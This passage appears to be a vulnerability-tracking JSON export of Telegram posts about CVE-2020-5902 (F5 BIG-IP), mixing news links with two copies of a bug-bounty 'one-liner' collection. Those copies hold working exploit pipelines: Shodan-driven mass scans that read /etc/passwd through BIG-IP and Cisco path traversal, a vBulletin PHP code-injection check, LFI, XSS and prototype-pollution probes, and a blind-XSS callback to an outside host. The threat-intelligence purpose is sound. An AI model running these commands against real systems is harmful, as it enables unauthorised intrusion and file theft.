\"HOSTS.txt\" contains criteria 1.1 with more than one in file.\n- 2.1. \"URL\" definitely defines the URL, e.g. replaced by http://domain.tld/path/page.html or somewhat starting with HTTP/HTTPS protocol.\n- 2.2. \"URLS.txt\" contains criteria 2.1 with more than one in file.\n- 3.1. \"FILE.txt\" or \"FILE{N}.txt\" means the files needed to run the command/script according to its context and needs.\n- 4.1. \"OUT.txt\" or \"OUT{N}.txt\" means the file as the target storage result will be the command that is executed.\n\n---\n\n### Local File Inclusion\n> @dwisiswant0\n\ngau HOST | gf lfi | qsreplace \"/etc/passwd\" | xargs -I% -P 25 sh -c 'curl -s \"%\" 2>&1 | grep -q \"root:x\" && echo \"VULN! %\"'\n### Open-redirect\n> @dwisiswant0\n\nexport LHOST=\"URL\"; gau $1 | gf redirect | qsreplace \"$LHOST\" | xargs -I % -P 25 sh -c 'curl -Is \"%\" 2>&1 | grep -q \"Location: $LHOST\" && echo \"VULN! %\"'\n> @N3T_hunt3r\ncat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null\n### XSS\n> @cihanmehmet\n\ngospider -S URLS.txt -c 10 -d 5 --blacklist \".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)\" --other-source | grep -e \"code-200\" | awk '{print $5}'| grep \"=\" | qsreplace -a | dalfox pipe | tee OUT.txt\n> @fanimalikhack\n\nwaybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt\n> @oliverrickfors\n\ncat HOSTS.txt | getJS | httpx --match-regex \"addEventListener\\((?:'|\\\")message(?:'|\\\")\"\n### Prototype Pollution\n> @R0X4R\n\nsubfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\\/?__proto__[testparam]=exploit\\//' FILE.txt | page-fetch -j 'window.testparam == \"exploit\"? \"[VULNERABLE]\" : \"[NOT VULNERABLE]\"' | sed \"s/(//g\" | sed \"s/)//g\" | sed \"s/JS //g\" | grep \"VULNERABLE\"\n### CVE-2020-5902\n> @Madrobot_\n\nshodan search http.favicon.hash:-335242539 \"3992\" --fields ip_str,port --separator \" \" | awk '{print $1\":\"$2}' | while read host do ;do curl --silent --path-as-is --insecure \"https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\" | grep -q root && \\printf \"$host \\033[0;31mVulnerable\\n\" || printf \"$host \\033[0;32mNot Vulnerable\\n\";done\n### CVE-2020-3452\n> @vict0ni\n\nwhile read LINE; do curl -s -k \"https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\" | head | grep -q \"Cisco\" && echo -e \"[${GREEN}VULNERABLE${NC}] $LINE\" || echo -e \"[${RED}NOT VULNERABLE${NC}] $LINE\"; done < HOSTS.txt\n### CVE-2022-0378\n> @7h3h4ckv157\n\ncat URLS.txt | while read h do; do curl -sk \"$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x\"|grep -qs \"onmouse\" && echo \"$h: VULNERABLE\"; done\n### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution\n> @Madrobot_\n\nshodan search http.favicon.hash:-601665621 --fields ip_str,port --separator \" \" | awk '{print $1\":\"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \\printf \"$host \\033[0;31mVulnerable\\n\" || printf \"$host \\033[0;32mNot Vulnerable\\n\";done;\n### Find JavaScript Files\n> @D0cK3rG33k", "creation_timestamp": "2024-04-07T05:37:53.000000Z"}, {"uuid": "113da738-7f32-4f9c-adfe-c58977215240", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/MrVGunz/912", "content": "Bug Bounty Automation\nThis part of CVE-2020-5902", "creation_timestamp": "2023-12-05T13:17:35.000000Z"}, {"uuid": "5169f8da-b9e9-4d70-98a9-e8db514f8094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/C5EfqZQHFcApiqEp5s1eLKuB72thDI5qROLTaP8LY51uww", "content": "", "creation_timestamp": "2020-07-06T13:37:18.000000Z"}, {"uuid": "b2b918c1-364d-47b2-bf03-513609347d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/1YemRONjdrrcg05rJAKPLqcn4MScI-DVbpT9FwczuB8KHA", "content": "", "creation_timestamp": "2020-10-20T23:09:58.000000Z"}, {"uuid": "4c4f76e2-7cc4-49e7-b0b3-d774db0d12b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/tey7YZhOiCo19i22s1XiOt4tzy2iOt-e3qf3ukkAgpMD8g", "content": "", "creation_timestamp": "2020-07-06T23:39:12.000000Z"}, {"uuid": "c4c1cc46-9d15-4733-80a4-388ef74490c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "Telegram/1sfX0-IG5UOfGZ4M7Hhq1Q5FHF1g718whpbaSMsr3D_jVg", "content": "", "creation_timestamp": "2020-07-06T13:28:06.000000Z"}, {"uuid": "68572337-3018-4b78-8c0b-a1e148cfd6f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/reconshell/559", "content": "Remote Code Execution in F5 Big-IP\n\n#CVE-2020-5902 #RCE #HSQLDB #CyberSecurity #Hacking\n\nhttps://reconshell.com/remote-code-execution-in-f5-big-ip/", "creation_timestamp": "2021-03-16T07:53:54.000000Z"}, {"uuid": "026fd4a3-28a2-4dcf-bfd8-126f406382f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/true_secator/1066", "content": "\u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0435 \u0410\u041d\u0411 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u043e \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c 25 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c\u0438 APT.\n\n\u041c\u044b, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0441\u043e\u043c\u043d\u0435\u0432\u0430\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0438\u0437 \u043d\u0430\u0448\u0438\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u043e\u0432 (\u043d\u0443, \u043a\u0440\u043e\u043c\u0435 \u0440\u0435\u0431\u044f\u0442 \u0438\u0437 \u0442\u0440\u0435\u0445\u0431\u0443\u043a\u0432\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u043e\u0440 \u0438 \u0433\u043e\u0441\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439) \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u0430\u0442\u0430\u043a\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u044d\u0442\u0438 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ransomware. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u044d\u0442\u043e\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0432\u0441\u0435\u043c \u043f\u0440\u0438\u0447\u0430\u0441\u0442\u043d\u044b\u043c \u043a \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0427\u0442\u043e \u0436\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c? \u041d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u043c\u0435\u0441\u0442\u0435, \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e, CVE-2019-11510 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Pulse VPN. \u041d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0439 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 ransomware \u0447\u0443\u0442\u044c \u043b\u0438 \u043d\u0435 \u0432 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432.\n\n\u0414\u0430\u043b\u044c\u0448\u0435 - CVE-2020-5902, \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 BIG-IP \u043e\u0442 F5 Networks, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 (RCE) \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0445\u0430\u043a\u0435\u0440\u0430. \n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043b\u044e\u0431\u0438\u043c\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 - CVE-2019-19781 \u0432 Citrix ADC, \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a RCE.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 SIGRed, \u0438 Zerologon \u0438 \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u043a\u0430\u043a \u043d\u0430\u0431\u043e\u0440 \u0442\u043e\u0447\u0435\u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\u0418 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u0441 \u043f\u0435\u0447\u0430\u043b\u0438\u0442 - \u0437\u043d\u0430\u044f \u043c\u0430\u043d\u0435\u0440\u0443 \u0440\u0430\u0431\u043e\u0442\u044b \u0410\u041d\u0411 \u043c\u043e\u0436\u043d\u043e \u0441\u043c\u0435\u043b\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0442\u0435\u0445 \u0438\u043b\u0438 \u0438\u043d\u044b\u0445 \u0434\u044b\u0440\u043e\u043a, \u0437\u043d\u0430\u0447\u0438\u0442 \u0441\u0430\u043c\u0438 \u0438\u0445 \u0442\u043e\u0447\u043d\u043e \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442. \u0423 \u043d\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0445\u043e\u0434\u0443.", "creation_timestamp": "2020-10-21T11:00:18.000000Z"}, {"uuid": "c60d9bb2-d633-4684-b319-34fd87586788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/XpqswBmwy0Z-hX7A0OkW-CR270wah1u34pXQvhJ7hAcTZQ", "content": "", "creation_timestamp": "2020-07-08T02:39:07.000000Z"}, {"uuid": "ec3d51d2-27cd-4b46-b190-418ec7b9ea4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/wjRA-n8mnnNQXMa0KTy0_uCQ3dTGX4SjrAqKWAMQ3FcBIQ", "content": "", "creation_timestamp": "2020-07-08T02:34:04.000000Z"}, {"uuid": "01972c76-b1b9-4ae3-9045-549af5d5cbd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "Telegram/0sD_EyHySREvSWLaWKL-XHqTqDduPkHhIy1vEKF4pCPQbv8", "content": "", "creation_timestamp": "2020-10-28T02:58:38.000000Z"}, {"uuid": "de4d5697-edc2-4e5c-957c-3c5203d90f5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/reverseame/390", "content": "F5 BIG-IP hsqldb (CVE-2020-5902) Vulnerability Analysis https://paper.seebug.org/1272/", "creation_timestamp": "2026-07-30T00:02:53.447998Z"}, {"uuid": "340603f6-2461-420d-a993-f06e4e248c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/haccking/86042", "content": "#\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2020-5902\n\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435...\n\u0417\u0435\u0440\u043a\u0430\u043b\u043e...", "creation_timestamp": "2020-07-19T14:00:12.000000Z"}, {"uuid": "18028368-a03c-49ea-bafb-c84703e7aa5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "Telegram/-0I9knA9QPwERb2ZDVrXXjlMVL988JTKg2c_wM5C_aSxQw", "content": "", "creation_timestamp": "2026-08-03T02:07:04.137457Z"}, {"uuid": "ef3bf86b-3550-4562-8d03-9089db233867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/ctftm/604", "content": "Awesome One-liner Bug Bounty :\n\n> A collection of awesome one-liner scripts especially for bug bounty.\n\nThis repository stores and houses various one-liner for bug bounty tips provided by me as well as contributed by the community. Your contributions and suggestions are heartily\u2665 welcome.\n\n## Definitions\n\nThis section defines specific terms or placeholders that are used throughout one-line command/scripts.\n\n- 1.1. \"HOST\" defines one hostname, (sub)domain, or IP address, e.g. replaced by internal.host, domain.tld, sub.domain.tld, or 127.0.0.1.\n- 1.2. \"HOSTS.txt\" contains criteria 1.1 with more than one in file.\n- 2.1. \"URL\" definitely defines the URL, e.g. replaced by http://domain.tld/path/page.html or somewhat starting with HTTP/HTTPS protocol.\n- 2.2. \"URLS.txt\" contains criteria 2.1 with more than one in file.\n- 3.1. \"FILE.txt\" or \"FILE{N}.txt\" means the files needed to run the command/script according to its context and needs.\n- 4.1. \"OUT.txt\" or \"OUT{N}.txt\" means the file as the target storage result will be the command that is executed.\n\n---\n\n### Local File Inclusion\n\ngau HOST | gf lfi | qsreplace \"/etc/passwd\" | xargs -I% -P 25 sh -c 'curl -s \"%\" 2>&1 | grep -q \"root:x\" && echo \"VULN! %\"'\n### Open-redirect\n\nexport LHOST=\"URL\"; gau $1 | gf redirect | qsreplace \"$LHOST\" | xargs -I % -P 25 sh -c 'curl -Is \"%\" 2>&1 | grep -q \"Location: $LHOST\" && echo \"VULN! %\"'\n```bash\ncat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null\n\n### XSS\n\nbash\ngospider -S URLS.txt -c 10 -d 5 --blacklist \".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)\" --other-source | grep -e \"code-200\" | awk '{print $5}'| grep \"=\" | qsreplace -a | dalfox pipe | tee OUT.txt\n\n\nbash\nwaybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt\n\n\nbash\ncat HOSTS.txt | getJS | httpx --match-regex \"addEventListener\\((?:'|\\\")message(?:'|\\\")\"\n\n### Prototype Pollution\n\nbash\nsubfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\\/?proto[testparam]=exploit\\//' FILE.txt | page-fetch -j 'window.testparam == \"exploit\"? \"[VULNERABLE]\" : \"[NOT VULNERABLE]\"' | sed \"s/(//g\" | sed \"s/)//g\" | sed \"s/JS //g\" | grep \"VULNERABLE\"\n\n### CVE-2020-5902\n\nbash\nshodan search http.favicon.hash:-335242539 \"3992\" --fields ip_str,port --separator \" \" | awk '{print $1\":\"$2}' | while read host do ;do curl --silent --path-as-is --insecure \"https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\" | grep -q root && \\printf \"$host \\033[0;31mVulnerable\\n\" || printf \"$host \\033[0;32mNot Vulnerable\\n\";done\n\n### CVE-2020-3452\n\nbash\nwhile read LINE; do curl -s -k \"https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\" | head | grep -q \"Cisco\" && echo -e \"[${GREEN}VULNERABLE${NC}] $LINE\" || echo -e \"[${RED}NOT VULNERABLE${NC}] $LINE\"; done < HOSTS.txt\n\n### CVE-2022-0378\n> @7h3h4ckv157\n\nbash\ncat URLS.txt | while read h do; do curl -sk \"$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x\"|grep -qs \"onmouse\" && echo \"$h: VULNERABLE\"; done\n\n### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution\n\nbash\nshodan search http.favicon.hash:-601665621 --fields ip_str,port --separator \" \" | awk '{print $1\":\"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \\printf \"$host \\033[0;31mVulnerable\\n\" || printf \"$host \\033[0;32mNot Vulnerable\\n\";done;`\n\n### Find JavaScript Files\n====================\nJoin Our Telegram Channel\nhttps://t.me/ctftm", "creation_timestamp": "2024-05-04T18:47:12.000000Z"}, {"uuid": "36f2b1a7-beec-42e3-a1b2-974aeb12e1c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/622", "content": "CVE-2020-5902 F5 BIG-IP \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2020-5902_F5_BIG-IP_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-06-09T06:32:35.000000Z"}, {"uuid": "5419c128-3742-43b4-b6da-16c18f5aaf48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/thehackernews/751", "content": "Critical Unauthorized RCE Vulnerability (CVE-2020-5902 with CVSS Score 10/10) Affects F5's BIG-IP Application Security Servers Used in large Enterprises, Data Centers, and Cloud Computing Environments.\n\nDetails \u2014 https://thehackernews.com/2020/07/f5-big-ip-application-security.html\n\nApply Newly Released Patch Updates ASAP!", "creation_timestamp": "2020-07-04T16:35:11.000000Z"}, {"uuid": "e8c6d7e4-2ebf-4d4d-843c-2c722f7b6bcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2109", "content": "#CVE-2022\nCVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC\u96c6\u5408\n\nhttps://github.com/west9b/F5-BIG-IP-POC\n\n@BlueRedTeam", "creation_timestamp": "2022-05-28T16:30:21.000000Z"}, {"uuid": "4dbb2e69-35e5-45ee-a277-cc01e047a94d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/canyoupwnme/6644", "content": "RIFT: F5 CVE-2020-5902 and Citrix CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 honeypot data release\nhttps://research.nccgroup.com/2020/10/09/rift-f5-cve-2020-5902-and-citrix-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-honeypot-data-release/", "creation_timestamp": "2020-10-11T07:02:40.000000Z"}, {"uuid": "2520d484-9dc8-4add-9d98-32dee30bd05c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/canyoupwnme/6515", "content": "BIGIP CVE-2020-5902 Exploit POC @CMD19\nhttps://gist.github.com/cihanmehmet/07d2f9dac55f278839b054b8eb7d4cc5", "creation_timestamp": "2020-07-06T11:08:39.000000Z"}, {"uuid": "33983bde-d719-4a96-b16e-ae012cccd278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/haccking/5184", "content": "#\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2020-5902\n\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435...\n\u0417\u0435\u0440\u043a\u0430\u043b\u043e...", "creation_timestamp": "2020-07-19T16:00:09.000000Z"}, {"uuid": "efc024bf-13fe-458e-bccf-60e7b22011ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/SecLabNews/8026", "content": "\u0412\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 F5 BIG-IP, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2020-5902), \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0427\u0435\u0439\u0437 \u0414\u0430\u0440\u0434\u0430\u043c\u0430\u043d (Chase Dardaman) \u0438 \u0420\u0438\u0447 \u041c\u0438\u0440\u0447 (Rich Mirch) \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b TeamAres \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 CriticalStart \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 